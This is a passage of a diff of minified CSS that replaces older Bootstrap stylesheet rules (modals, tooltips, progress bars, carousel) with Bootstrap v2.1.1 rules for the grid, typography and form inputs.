-280px;background-color:#ffffff;border:1px solid #999;border:1px solid rgba(0, 0, 0, 0.3);*border:1px solid #999;-webkit-border-radius:6px;-moz-border-radius:6px;border-radius:6px;-webkit-box-shadow:0 3px 7px rgba(0, 0, 0, 0.3);-moz-box-shadow:0 3px 7px rgba(0, 0, 0, 0.3);box-shadow:0 3px 7px rgba(0, 0, 0, 0.3);-webkit-background-clip:padding-box;-moz-background-clip:padding-box;background-clip:padding-box;}.modal.fade{-webkit-transition:opacity .3s linear, top .3s ease-out;-moz-transition:opacity .3s linear, top .3s ease-out;-ms-transition:opacity .3s linear, top .3s ease-out;-o-transition:opacity .3s linear, top .3s ease-out;transition:opacity .3s linear, top .3s ease-out;top:-25%;} -.modal.fade.in{top:50%;} -.modal-header{padding:9px 15px;border-bottom:1px solid #eee;}.modal-header .close{margin-top:2px;} -.modal-body{padding:15px;} -.modal-body .modal-form{margin-bottom:0;} -.modal-footer{padding:14px 15px 15px;margin-bottom:0;background-color:#f5f5f5;border-top:1px solid #ddd;-webkit-border-radius:0 0 6px 6px;-moz-border-radius:0 0 6px 6px;border-radius:0 0 6px 6px;-webkit-box-shadow:inset 0 1px 0 #ffffff;-moz-box-shadow:inset 0 1px 0 #ffffff;box-shadow:inset 0 1px 0 #ffffff;*zoom:1;}.modal-footer:before,.modal-footer:after{display:table;content:"";} -.modal-footer:after{clear:both;} -.modal-footer .btn{float:right;margin-left:5px;margin-bottom:0;} -.tooltip{position:absolute;z-index:1020;display:block;visibility:visible;padding:5px;font-size:11px;opacity:0;filter:alpha(opacity=0);}.tooltip.in{opacity:0.8;filter:alpha(opacity=80);} -.tooltip.top{margin-top:-2px;} -.tooltip.right{margin-left:2px;} -.tooltip.bottom{margin-top:2px;} -.tooltip.left{margin-left:-2px;} -.tooltip.top .tooltip-arrow{bottom:0;left:50%;margin-left:-5px;border-left:5px solid transparent;border-right:5px solid transparent;border-top:5px solid #000000;} -.tooltip.left .tooltip-arrow{top:50%;right:0;margin-top:-5px;border-top:5px solid transparent;border-bottom:5px solid transparent;border-left:5px solid #000000;} -.tooltip.bottom .tooltip-arrow{top:0;left:50%;margin-left:-5px;border-left:5px solid transparent;border-right:5px solid transparent;border-bottom:5px solid #000000;} -.tooltip.right .tooltip-arrow{top:50%;left:0;margin-top:-5px;border-top:5px solid transparent;border-bottom:5px solid transparent;border-right:5px solid #000000;} -.tooltip-inner{max-width:200px;padding:3px 8px;color:#ffffff;text-align:center;text-decoration:none;background-color:#000000;-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:4px;} -.tooltip-arrow{position:absolute;width:0;height:0;} -.popover{position:absolute;top:0;left:0;z-index:1010;display:none;padding:5px;}.popover.top{margin-top:-5px;} -.popover.right{margin-left:5px;} -.popover.bottom{margin-top:5px;} -.popover.left{margin-left:-5px;} -.popover.top .arrow{bottom:0;left:50%;margin-left:-5px;border-left:5px solid transparent;border-right:5px solid transparent;border-top:5px solid #000000;} -.popover.right .arrow{top:50%;left:0;margin-top:-5px;border-top:5px solid transparent;border-bottom:5px solid transparent;border-right:5px solid #000000;} -.popover.bottom .arrow{top:0;left:50%;margin-left:-5px;border-left:5px solid transparent;border-right:5px solid transparent;border-bottom:5px solid #000000;} -.popover.left .arrow{top:50%;right:0;margin-top:-5px;border-top:5px solid transparent;border-bottom:5px solid transparent;border-left:5px solid #000000;} -.popover .arrow{position:absolute;width:0;height:0;} -.popover-inner{padding:3px;width:280px;overflow:hidden;background:#000000;background:rgba(0, 0, 0, 0.8);-webkit-border-radius:6px;-moz-border-radius:6px;border-radius:6px;-webkit-box-shadow:0 3px 7px rgba(0, 0, 0, 0.3);-moz-box-shadow:0 3px 7px rgba(0, 0, 0, 0.3);box-shadow:0 3px 7px rgba(0, 0, 0, 0.3);} -.popover-title{padding:9px 15px;line-height:1;background-color:#f5f5f5;border-bottom:1px solid #eee;-webkit-border-radius:3px 3px 0 0;-moz-border-radius:3px 3px 0 0;border-radius:3px 3px 0 0;} -.popover-content{padding:14px;background-color:#ffffff;-webkit-border-radius:0 0 3px 3px;-moz-border-radius:0 0 3px 3px;border-radius:0 0 3px 3px;-webkit-background-clip:padding-box;-moz-background-clip:padding-box;background-clip:padding-box;}.popover-content p,.popover-content ul,.popover-content ol{margin-bottom:0;} -.thumbnails{margin-left:-20px;list-style:none;*zoom:1;}.thumbnails:before,.thumbnails:after{display:table;content:"";} -.thumbnails:after{clear:both;} -.thumbnails>li{float:left;margin:0 0 18px 20px;} -.thumbnail{display:block;padding:4px;line-height:1;border:1px solid #ddd;-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:4px;-webkit-box-shadow:0 1px 1px rgba(0, 0, 0, 0.075);-moz-box-shadow:0 1px 1px rgba(0, 0, 0, 0.075);box-shadow:0 1px 1px rgba(0, 0, 0, 0.075);} -a.thumbnail:hover{border-color:#0088cc;-webkit-box-shadow:0 1px 4px rgba(0, 105, 214, 0.25);-moz-box-shadow:0 1px 4px rgba(0, 105, 214, 0.25);box-shadow:0 1px 4px rgba(0, 105, 214, 0.25);} -.thumbnail>img{display:block;max-width:100%;margin-left:auto;margin-right:auto;} -.thumbnail .caption{padding:9px;} -.label{padding:2px 4px 3px;font-size:11.049999999999999px;font-weight:bold;color:#ffffff;text-shadow:0 -1px 0 rgba(0, 0, 0, 0.25);background-color:#999999;-webkit-border-radius:3px;-moz-border-radius:3px;border-radius:3px;} -.label:hover{color:#ffffff;text-decoration:none;} -.label-important{background-color:#b94a48;} -.label-important:hover{background-color:#953b39;} -.label-warning{background-color:#f89406;} -.label-warning:hover{background-color:#c67605;} -.label-success{background-color:#468847;} -.label-success:hover{background-color:#356635;} -.label-info{background-color:#3a87ad;} -.label-info:hover{background-color:#2d6987;} -@-webkit-keyframes progress-bar-stripes{from{background-position:0 0;} to{background-position:40px 0;}}@-moz-keyframes progress-bar-stripes{from{background-position:0 0;} to{background-position:40px 0;}}@keyframes progress-bar-stripes{from{background-position:0 0;} to{background-position:40px 0;}}.progress{overflow:hidden;height:18px;margin-bottom:18px;background-color:#f7f7f7;background-image:-moz-linear-gradient(top, #f5f5f5, #f9f9f9);background-image:-ms-linear-gradient(top, #f5f5f5, #f9f9f9);background-image:-webkit-gradient(linear, 0 0, 0 100%, from(#f5f5f5), to(#f9f9f9));background-image:-webkit-linear-gradient(top, #f5f5f5, #f9f9f9);background-image:-o-linear-gradient(top, #f5f5f5, #f9f9f9);background-image:linear-gradient(top, #f5f5f5, #f9f9f9);background-repeat:repeat-x;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#f5f5f5', endColorstr='#f9f9f9', GradientType=0);-webkit-box-shadow:inset 0 1px 2px rgba(0, 0, 0, 0.1);-moz-box-shadow:inset 0 1px 2px rgba(0, 0, 0, 0.1);box-shadow:inset 0 1px 2px rgba(0, 0, 0, 0.1);-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:4px;} -.progress .bar{width:0%;height:18px;color:#ffffff;font-size:12px;text-align:center;text-shadow:0 -1px 0 rgba(0, 0, 0, 0.25);background-color:#0e90d2;background-image:-moz-linear-gradient(top, #149bdf, #0480be);background-image:-ms-linear-gradient(top, #149bdf, #0480be);background-image:-webkit-gradient(linear, 0 0, 0 100%, from(#149bdf), to(#0480be));background-image:-webkit-linear-gradient(top, #149bdf, #0480be);background-image:-o-linear-gradient(top, #149bdf, #0480be);background-image:linear-gradient(top, #149bdf, #0480be);background-repeat:repeat-x;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#149bdf', endColorstr='#0480be', GradientType=0);-webkit-box-shadow:inset 0 -1px 0 rgba(0, 0, 0, 0.15);-moz-box-shadow:inset 0 -1px 0 rgba(0, 0, 0, 0.15);box-shadow:inset 0 -1px 0 rgba(0, 0, 0, 0.15);-webkit-box-sizing:border-box;-moz-box-sizing:border-box;box-sizing:border-box;-webkit-transition:width 0.6s ease;-moz-transition:width 0.6s ease;-ms-transition:width 0.6s ease;-o-transition:width 0.6s ease;transition:width 0.6s ease;} -.progress-striped .bar{background-color:#62c462;background-image:-webkit-gradient(linear, 0 100%, 100% 0, color-stop(0.25, rgba(255, 255, 255, 0.15)), color-stop(0.25, transparent), color-stop(0.5, transparent), color-stop(0.5, rgba(255, 255, 255, 0.15)), color-stop(0.75, rgba(255, 255, 255, 0.15)), color-stop(0.75, transparent), to(transparent));background-image:-webkit-linear-gradient(-45deg, rgba(255, 255, 255, 0.15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%, rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent);background-image:-moz-linear-gradient(-45deg, rgba(255, 255, 255, 0.15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%, rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent);background-image:-ms-linear-gradient(-45deg, rgba(255, 255, 255, 0.15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%, rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent);background-image:-o-linear-gradient(-45deg, rgba(255, 255, 255, 0.15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%, rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent);background-image:linear-gradient(-45deg, rgba(255, 255, 255, 0.15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%, rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent);-webkit-background-size:40px 40px;-moz-background-size:40px 40px;-o-background-size:40px 40px;background-size:40px 40px;} -.progress.active .bar{-webkit-animation:progress-bar-stripes 2s linear infinite;-moz-animation:progress-bar-stripes 2s linear infinite;animation:progress-bar-stripes 2s linear infinite;} -.progress-danger .bar{background-color:#dd514c;background-image:-moz-linear-gradient(top, #ee5f5b, #c43c35);background-image:-ms-linear-gradient(top, #ee5f5b, #c43c35);background-image:-webkit-gradient(linear, 0 0, 0 100%, from(#ee5f5b), to(#c43c35));background-image:-webkit-linear-gradient(top, #ee5f5b, #c43c35);background-image:-o-linear-gradient(top, #ee5f5b, #c43c35);background-image:linear-gradient(top, #ee5f5b, #c43c35);background-repeat:repeat-x;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ee5f5b', endColorstr='#c43c35', GradientType=0);} -.progress-danger.progress-striped .bar{background-color:#ee5f5b;background-image:-webkit-gradient(linear, 0 100%, 100% 0, color-stop(0.25, rgba(255, 255, 255, 0.15)), color-stop(0.25, transparent), color-stop(0.5, transparent), color-stop(0.5, rgba(255, 255, 255, 0.15)), color-stop(0.75, rgba(255, 255, 255, 0.15)), color-stop(0.75, transparent), to(transparent));background-image:-webkit-linear-gradient(-45deg, rgba(255, 255, 255, 0.15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%, rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent);background-image:-moz-linear-gradient(-45deg, rgba(255, 255, 255, 0.15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%, rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent);background-image:-ms-linear-gradient(-45deg, rgba(255, 255, 255, 0.15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%, rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent);background-image:-o-linear-gradient(-45deg, rgba(255, 255, 255, 0.15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%, rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent);background-image:linear-gradient(-45deg, rgba(255, 255, 255, 0.15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%, rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent);} -.progress-success .bar{background-color:#5eb95e;background-image:-moz-linear-gradient(top, #62c462, #57a957);background-image:-ms-linear-gradient(top, #62c462, #57a957);background-image:-webkit-gradient(linear, 0 0, 0 100%, from(#62c462), to(#57a957));background-image:-webkit-linear-gradient(top, #62c462, #57a957);background-image:-o-linear-gradient(top, #62c462, #57a957);background-image:linear-gradient(top, #62c462, #57a957);background-repeat:repeat-x;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#62c462', endColorstr='#57a957', GradientType=0);} -.progress-success.progress-striped .bar{background-color:#62c462;background-image:-webkit-gradient(linear, 0 100%, 100% 0, color-stop(0.25, rgba(255, 255, 255, 0.15)), color-stop(0.25, transparent), color-stop(0.5, transparent), color-stop(0.5, rgba(255, 255, 255, 0.15)), color-stop(0.75, rgba(255, 255, 255, 0.15)), color-stop(0.75, transparent), to(transparent));background-image:-webkit-linear-gradient(-45deg, rgba(255, 255, 255, 0.15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%, rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent);background-image:-moz-linear-gradient(-45deg, rgba(255, 255, 255, 0.15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%, rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent);background-image:-ms-linear-gradient(-45deg, rgba(255, 255, 255, 0.15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%, rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent);background-image:-o-linear-gradient(-45deg, rgba(255, 255, 255, 0.15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%, rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent);background-image:linear-gradient(-45deg, rgba(255, 255, 255, 0.15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%, rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent);} -.progress-info .bar{background-color:#4bb1cf;background-image:-moz-linear-gradient(top, #5bc0de, #339bb9);background-image:-ms-linear-gradient(top, #5bc0de, #339bb9);background-image:-webkit-gradient(linear, 0 0, 0 100%, from(#5bc0de), to(#339bb9));background-image:-webkit-linear-gradient(top, #5bc0de, #339bb9);background-image:-o-linear-gradient(top, #5bc0de, #339bb9);background-image:linear-gradient(top, #5bc0de, #339bb9);background-repeat:repeat-x;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#5bc0de', endColorstr='#339bb9', GradientType=0);} -.progress-info.progress-striped .bar{background-color:#5bc0de;background-image:-webkit-gradient(linear, 0 100%, 100% 0, color-stop(0.25, rgba(255, 255, 255, 0.15)), color-stop(0.25, transparent), color-stop(0.5, transparent), color-stop(0.5, rgba(255, 255, 255, 0.15)), color-stop(0.75, rgba(255, 255, 255, 0.15)), color-stop(0.75, transparent), to(transparent));background-image:-webkit-linear-gradient(-45deg, rgba(255, 255, 255, 0.15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%, rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent);background-image:-moz-linear-gradient(-45deg, rgba(255, 255, 255, 0.15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%, rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent);background-image:-ms-linear-gradient(-45deg, rgba(255, 255, 255, 0.15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%, rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent);background-image:-o-linear-gradient(-45deg, rgba(255, 255, 255, 0.15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%, rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent);background-image:linear-gradient(-45deg, rgba(255, 255, 255, 0.15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%, rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent);} -.accordion{margin-bottom:18px;} -.accordion-group{margin-bottom:2px;border:1px solid #e5e5e5;-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:4px;} -.accordion-heading{border-bottom:0;} -.accordion-heading .accordion-toggle{display:block;padding:8px 15px;} -.accordion-inner{padding:9px 15px;border-top:1px solid #e5e5e5;} -.carousel{position:relative;margin-bottom:18px;line-height:1;} -.carousel-inner{overflow:hidden;width:100%;position:relative;} -.carousel .item{display:none;position:relative;-webkit-transition:0.6s ease-in-out left;-moz-transition:0.6s ease-in-out left;-ms-transition:0.6s ease-in-out left;-o-transition:0.6s ease-in-out left;transition:0.6s ease-in-out left;} -.carousel .item>img{display:block;line-height:1;} -.carousel .active,.carousel .next,.carousel .prev{display:block;} -.carousel .active{left:0;} -.carousel .next,.carousel .prev{position:absolute;top:0;width:100%;} -.carousel .next{left:100%;} -.carousel .prev{left:-100%;} -.carousel .next.left,.carousel .prev.right{left:0;} -.carousel .active.left{left:-100%;} -.carousel .active.right{left:100%;} -.carousel-control{position:absolute;top:40%;left:15px;width:40px;height:40px;margin-top:-20px;font-size:60px;font-weight:100;line-height:30px;color:#ffffff;text-align:center;background:#222222;border:3px solid #ffffff;-webkit-border-radius:23px;-moz-border-radius:23px;border-radius:23px;opacity:0.5;filter:alpha(opacity=50);}.carousel-control.right{left:auto;right:15px;} -.carousel-control:hover{color:#ffffff;text-decoration:none;opacity:0.9;filter:alpha(opacity=90);} -.carousel-caption{position:absolute;left:0;right:0;bottom:0;padding:10px 15px 5px;background:#333333;background:rgba(0, 0, 0, 0.75);} -.carousel-caption h4,.carousel-caption p{color:#ffffff;} -.hero-unit{padding:60px;margin-bottom:30px;background-color:#f5f5f5;-webkit-border-radius:6px;-moz-border-radius:6px;border-radius:6px;}.hero-unit h1{margin-bottom:0;font-size:60px;line-height:1;letter-spacing:-1px;} -.hero-unit p{font-size:18px;font-weight:200;line-height:27px;} -.pull-right{float:right;} -.pull-left{float:left;} -.hide{display:none;} -.show{display:block;} -.invisible{visibility:hidden;} +/*! + * Bootstrap v2.1.1 + * + * Copyright 2012 Twitter, Inc + * Licensed under the Apache License v2.0 + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Designed and built with all the love in the world @twitter by @mdo and @fat. + */article,aside,details,figcaption,figure,footer,header,hgroup,nav,section{display:block}audio,canvas,video{display:inline-block;*display:inline;*zoom:1}audio:not([controls]){display:none}html{font-size:100%;-webkit-text-size-adjust:100%;-ms-text-size-adjust:100%}a:focus{outline:thin dotted #333;outline:5px auto -webkit-focus-ring-color;outline-offset:-2px}a:hover,a:active{outline:0}sub,sup{position:relative;font-size:75%;line-height:0;vertical-align:baseline}sup{top:-0.5em}sub{bottom:-0.25em}img{width:auto\9;height:auto;max-width:100%;vertical-align:middle;border:0;-ms-interpolation-mode:bicubic}#map_canvas img{max-width:none}button,input,select,textarea{margin:0;font-size:100%;vertical-align:middle}button,input{*overflow:visible;line-height:normal}button::-moz-focus-inner,input::-moz-focus-inner{padding:0;border:0}button,input[type="button"],input[type="reset"],input[type="submit"]{cursor:pointer;-webkit-appearance:button}input[type="search"]{-webkit-box-sizing:content-box;-moz-box-sizing:content-box;box-sizing:content-box;-webkit-appearance:textfield}input[type="search"]::-webkit-search-decoration,input[type="search"]::-webkit-search-cancel-button{-webkit-appearance:none}textarea{overflow:auto;vertical-align:top}.clearfix{*zoom:1}.clearfix:before,.clearfix:after{display:table;line-height:0;content:""}.clearfix:after{clear:both}.hide-text{font:0/0 a;color:transparent;text-shadow:none;background-color:transparent;border:0}.input-block-level{display:block;width:100%;min-height:30px;-webkit-box-sizing:border-box;-moz-box-sizing:border-box;box-sizing:border-box}body{margin:0;font-family:"Helvetica Neue",Helvetica,Arial,sans-serif;font-size:14px;line-height:20px;color:#333;background-color:#fff}a{color:#08c;text-decoration:none}a:hover{color:#005580;text-decoration:underline}.img-rounded{-webkit-border-radius:6px;-moz-border-radius:6px;border-radius:6px}.img-polaroid{padding:4px;background-color:#fff;border:1px solid #ccc;border:1px solid rgba(0,0,0,0.2);-webkit-box-shadow:0 1px 3px rgba(0,0,0,0.1);-moz-box-shadow:0 1px 3px rgba(0,0,0,0.1);box-shadow:0 1px 3px rgba(0,0,0,0.1)}.img-circle{-webkit-border-radius:500px;-moz-border-radius:500px;border-radius:500px}.row{margin-left:-20px;*zoom:1}.row:before,.row:after{display:table;line-height:0;content:""}.row:after{clear:both}[class*="span"]{float:left;min-height:1px;margin-left:20px}.container,.navbar-static-top .container,.navbar-fixed-top .container,.navbar-fixed-bottom .container{width:940px}.span12{width:940px}.span11{width:860px}.span10{width:780px}.span9{width:700px}.span8{width:620px}.span7{width:540px}.span6{width:460px}.span5{width:380px}.span4{width:300px}.span3{width:220px}.span2{width:140px}.span1{width:60px}.offset12{margin-left:980px}.offset11{margin-left:900px}.offset10{margin-left:820px}.offset9{margin-left:740px}.offset8{margin-left:660px}.offset7{margin-left:580px}.offset6{margin-left:500px}.offset5{margin-left:420px}.offset4{margin-left:340px}.offset3{margin-left:260px}.offset2{margin-left:180px}.offset1{margin-left:100px}.row-fluid{width:100%;*zoom:1}.row-fluid:before,.row-fluid:after{display:table;line-height:0;content:""}.row-fluid:after{clear:both}.row-fluid [class*="span"]{display:block;float:left;width:100%;min-height:30px;margin-left:2.127659574468085%;*margin-left:2.074468085106383%;-webkit-box-sizing:border-box;-moz-box-sizing:border-box;box-sizing:border-box}.row-fluid [class*="span"]:first-child{margin-left:0}.row-fluid .span12{width:100%;*width:99.94680851063829%}.row-fluid .span11{width:91.48936170212765%;*width:91.43617021276594%}.row-fluid .span10{width:82.97872340425532%;*width:82.92553191489361%}.row-fluid .span9{width:74.46808510638297%;*width:74.41489361702126%}.row-fluid .span8{width:65.95744680851064%;*width:65.90425531914893%}.row-fluid .span7{width:57.44680851063829%;*width:57.39361702127659%}.row-fluid .span6{width:48.93617021276595%;*width:48.88297872340425%}.row-fluid .span5{width:40.42553191489362%;*width:40.37234042553192%}.row-fluid .span4{width:31.914893617021278%;*width:31.861702127659576%}.row-fluid .span3{width:23.404255319148934%;*width:23.351063829787233%}.row-fluid .span2{width:14.893617021276595%;*width:14.840425531914894%}.row-fluid .span1{width:6.382978723404255%;*width:6.329787234042553%}.row-fluid .offset12{margin-left:104.25531914893617%;*margin-left:104.14893617021275%}.row-fluid .offset12:first-child{margin-left:102.12765957446808%;*margin-left:102.02127659574467%}.row-fluid .offset11{margin-left:95.74468085106382%;*margin-left:95.6382978723404%}.row-fluid .offset11:first-child{margin-left:93.61702127659574%;*margin-left:93.51063829787232%}.row-fluid .offset10{margin-left:87.23404255319149%;*margin-left:87.12765957446807%}.row-fluid .offset10:first-child{margin-left:85.1063829787234%;*margin-left:84.99999999999999%}.row-fluid .offset9{margin-left:78.72340425531914%;*margin-left:78.61702127659572%}.row-fluid .offset9:first-child{margin-left:76.59574468085106%;*margin-left:76.48936170212764%}.row-fluid .offset8{margin-left:70.2127659574468%;*margin-left:70.10638297872339%}.row-fluid .offset8:first-child{margin-left:68.08510638297872%;*margin-left:67.9787234042553%}.row-fluid .offset7{margin-left:61.70212765957446%;*margin-left:61.59574468085106%}.row-fluid .offset7:first-child{margin-left:59.574468085106375%;*margin-left:59.46808510638297%}.row-fluid .offset6{margin-left:53.191489361702125%;*margin-left:53.085106382978715%}.row-fluid .offset6:first-child{margin-left:51.063829787234035%;*margin-left:50.95744680851063%}.row-fluid .offset5{margin-left:44.68085106382979%;*margin-left:44.57446808510638%}.row-fluid .offset5:first-child{margin-left:42.5531914893617%;*margin-left:42.4468085106383%}.row-fluid .offset4{margin-left:36.170212765957444%;*margin-left:36.06382978723405%}.row-fluid .offset4:first-child{margin-left:34.04255319148936%;*margin-left:33.93617021276596%}.row-fluid .offset3{margin-left:27.659574468085104%;*margin-left:27.5531914893617%}.row-fluid .offset3:first-child{margin-left:25.53191489361702%;*margin-left:25.425531914893618%}.row-fluid .offset2{margin-left:19.148936170212764%;*margin-left:19.04255319148936%}.row-fluid .offset2:first-child{margin-left:17.02127659574468%;*margin-left:16.914893617021278%}.row-fluid .offset1{margin-left:10.638297872340425%;*margin-left:10.53191489361702%}.row-fluid .offset1:first-child{margin-left:8.51063829787234%;*margin-left:8.404255319148938%}[class*="span"].hide,.row-fluid [class*="span"].hide{display:none}[class*="span"].pull-right,.row-fluid [class*="span"].pull-right{float:right}.container{margin-right:auto;margin-left:auto;*zoom:1}.container:before,.container:after{display:table;line-height:0;content:""}.container:after{clear:both}.container-fluid{padding-right:20px;padding-left:20px;*zoom:1}.container-fluid:before,.container-fluid:after{display:table;line-height:0;content:""}.container-fluid:after{clear:both}p{margin:0 0 10px}.lead{margin-bottom:20px;font-size:21px;font-weight:200;line-height:30px}small{font-size:85%}strong{font-weight:bold}em{font-style:italic}cite{font-style:normal}.muted{color:#999}.text-warning{color:#c09853}.text-error{color:#b94a48}.text-info{color:#3a87ad}.text-success{color:#468847}h1,h2,h3,h4,h5,h6{margin:10px 0;font-family:inherit;font-weight:bold;line-height:1;color:inherit;text-rendering:optimizelegibility}h1 small,h2 small,h3 small,h4 small,h5 small,h6 small{font-weight:normal;line-height:1;color:#999}h1{font-size:36px;line-height:40px}h2{font-size:30px;line-height:40px}h3{font-size:24px;line-height:40px}h4{font-size:18px;line-height:20px}h5{font-size:14px;line-height:20px}h6{font-size:12px;line-height:20px}h1 small{font-size:24px}h2 small{font-size:18px}h3 small{font-size:14px}h4 small{font-size:14px}.page-header{padding-bottom:9px;margin:20px 0 30px;border-bottom:1px solid #eee}ul,ol{padding:0;margin:0 0 10px 25px}ul ul,ul ol,ol ol,ol ul{margin-bottom:0}li{line-height:20px}ul.unstyled,ol.unstyled{margin-left:0;list-style:none}dl{margin-bottom:20px}dt,dd{line-height:20px}dt{font-weight:bold}dd{margin-left:10px}.dl-horizontal{*zoom:1}.dl-horizontal:before,.dl-horizontal:after{display:table;line-height:0;content:""}.dl-horizontal:after{clear:both}.dl-horizontal dt{float:left;width:160px;overflow:hidden;clear:left;text-align:right;text-overflow:ellipsis;white-space:nowrap}.dl-horizontal dd{margin-left:180px}hr{margin:20px 0;border:0;border-top:1px solid #eee;border-bottom:1px solid #fff}abbr[title]{cursor:help;border-bottom:1px dotted #999}abbr.initialism{font-size:90%;text-transform:uppercase}blockquote{padding:0 0 0 15px;margin:0 0 20px;border-left:5px solid #eee}blockquote p{margin-bottom:0;font-size:16px;font-weight:300;line-height:25px}blockquote small{display:block;line-height:20px;color:#999}blockquote small:before{content:'\2014 \00A0'}blockquote.pull-right{float:right;padding-right:15px;padding-left:0;border-right:5px solid #eee;border-left:0}blockquote.pull-right p,blockquote.pull-right small{text-align:right}blockquote.pull-right small:before{content:''}blockquote.pull-right small:after{content:'\00A0 \2014'}q:before,q:after,blockquote:before,blockquote:after{content:""}address{display:block;margin-bottom:20px;font-style:normal;line-height:20px}code,pre{padding:0 3px 2px;font-family:Monaco,Menlo,Consolas,"Courier New",monospace;font-size:12px;color:#333;-webkit-border-radius:3px;-moz-border-radius:3px;border-radius:3px}code{padding:2px 4px;color:#d14;background-color:#f7f7f9;border:1px solid #e1e1e8}pre{display:block;padding:9.5px;margin:0 0 10px;font-size:13px;line-height:20px;word-break:break-all;word-wrap:break-word;white-space:pre;white-space:pre-wrap;background-color:#f5f5f5;border:1px solid #ccc;border:1px solid rgba(0,0,0,0.15);-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:4px}pre.prettyprint{margin-bottom:20px}pre code{padding:0;color:inherit;background-color:transparent;border:0}.pre-scrollable{max-height:340px;overflow-y:scroll}form{margin:0 0 20px}fieldset{padding:0;margin:0;border:0}legend{display:block;width:100%;padding:0;margin-bottom:20px;font-size:21px;line-height:40px;color:#333;border:0;border-bottom:1px solid #e5e5e5}legend small{font-size:15px;color:#999}label,input,button,select,textarea{font-size:14px;font-weight:normal;line-height:20px}input,button,select,textarea{font-family:"Helvetica Neue",Helvetica,Arial,sans-serif}label{display:block;margin-bottom:5px}select,textarea,input[type="text"],input[type="password"],input[type="datetime"],input[type="datetime-local"],input[type="date"],input[type="month"],input[type="time"],input[type="week"],input[type="number"],input[type="email"],input[type="url"],input[type="search"],input[type="tel"],input[type="color"],.uneditable-input{display:inline-block;height:20px;padding:4px 6px;margin-bottom:9px;font-size:14px;line-height:20px;color:#555;-webkit-border-radius:3px;-moz-border-radius:3px;border-radius:3px}input,textarea,.uneditable-input{width:206px}textarea{height:auto}textarea,input[type="text"],input[type="password"],input[type="datetime"],input[type="datetime-local"],input[type="date"],input[type="month"],input[type="time"],input[type="week"],input[type="number"],input[type="email"],input[type="url"],input[type="search"],input[type="tel"],input[type="color"],.uneditable-input{background-color:#fff;border:1px solid #ccc;-webkit-box-shadow:inset 0 1px 1px rgba(0,0,0,0.075);-moz-box-shadow:inset 0 1px 1px rgba(0,0,0,0.075);box-shadow:inset 0 1px 1px rgba(0,0,0,0.075);-webkit-transition:border linear .2s,box-shadow linear .2s;-moz-transition:border linear .2s,box-shadow linear .2s;-o-transition:border linear .2s,box-shadow linear .2s;transition:border linear .2s,box-shadow linear .2s}textarea:focus,input[type="text"]:focus,input[type="password"]:focus,input[type="datetime"]:focus,input[type="datetime-local"]:focus,input[type="date"]:focus,input[type="month"]:focus,input[type="time"]:focus,input[type="week"]:focus,input[type="number"]:focus,input[type="email"]:focus,input[type="url"]:focus,input[type="search"]:focus,input[type="tel"]:focus,input[type="color"]:focus,.uneditable-input:focus{border-color:rgba(82,168,236,0.8);outline:0;outline:thin dotted \9;-webkit-box-shadow:inset 0 1px 1px rgba(0,0,0,0.075),0 0 8px rgba(82,168,236,0.6);-moz-box-shadow:inset 0 1px 1px rgba(0,0,0,0.075),0 0 8px rgba(82,168,236,0.6);box-shadow:inset 0 1px 1px rgba(0,0,0,0.075),0 0 8px rgba(82,168,236,0.6)}input[type="radio"],input[type="checkbox"]{margin:4px 0 0;margin-top:1px 